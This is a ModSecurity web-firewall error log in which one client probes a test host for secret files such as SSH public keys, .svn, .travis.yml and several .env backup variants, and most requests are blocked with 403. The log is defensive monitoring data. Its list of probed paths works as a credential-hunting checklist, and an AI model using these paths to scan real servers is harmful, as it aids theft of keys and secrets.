[Wed Feb 25 06:04:46.401284 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PgAAAAM&quot;]
[Wed Feb 25 06:04:46.444886 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PwAAAAM&quot;]
[Wed Feb 25 06:04:46.445159 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PwAAAAM&quot;]
[Wed Feb 25 06:04:46.445350 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PwAAAAM&quot;]
[Wed Feb 25 06:04:46.562400 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5QAAAAAM&quot;]
[Wed Feb 25 06:04:46.562698 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5QAAAAAM&quot;]
[Wed Feb 25 06:04:46.562891 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5QAAAAAM&quot;]
[Wed Feb 25 06:04:46.787674 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYRgAAAAc&quot;]
[Wed Feb 25 06:04:46.787961 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYRgAAAAc&quot;]
[Wed Feb 25 06:04:46.788159 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYRgAAAAc&quot;]
[Wed Feb 25 06:04:46.821359 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYRwAAAAc&quot;]
[Wed Feb 25 06:04:46.821670 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYRwAAAAc&quot;]
[Wed Feb 25 06:04:46.821874 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYRwAAAAc&quot;]
[Wed Feb 25 06:04:46.898509 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYSAAAAAc&quot;]
[Wed Feb 25 06:04:46.898819 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYSAAAAAc&quot;]
[Wed Feb 25 06:04:46.899064 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYSAAAAAc&quot;]
[Wed Feb 25 06:04:46.925836 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYSQAAAAc&quot;]
[Wed Feb 25 06:04:46.926124 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYSQAAAAc&quot;]
[Wed Feb 25 06:04:46.926362 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYSQAAAAc&quot;]
[Wed Feb 25 06:04:46.950741 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5RQAAAAM&quot;]
[Wed Feb 25 06:04:46.951044 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5RQAAAAM&quot;]
[Wed Feb 25 06:04:46.951232 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5RQAAAAM&quot;]
[Wed Feb 25 06:04:46.996630 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5RgAAAAM&quot;]
[Wed Feb 25 06:04:46.996932 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5RgAAAAM&quot;]
[Wed Feb 25 06:04:46.997156 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5RgAAAAM&quot;]
[Wed Feb 25 06:04:47.023702 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYSgAAAAc&quot;]
[Wed Feb 25 06:04:47.024016 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYSgAAAAc&quot;]
[Wed Feb 25 06:04:47.024235 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYSgAAAAc&quot;]
[Wed Feb 25 06:04:47.106277 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5RwAAAAM&quot;]
[Wed Feb 25 06:04:47.106618 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5RwAAAAM&quot;]
[Wed Feb 25 06:04:47.106825 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5RwAAAAM&quot;]
[Wed Feb 25 06:04:47.281695 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SAAAAAM&quot;]
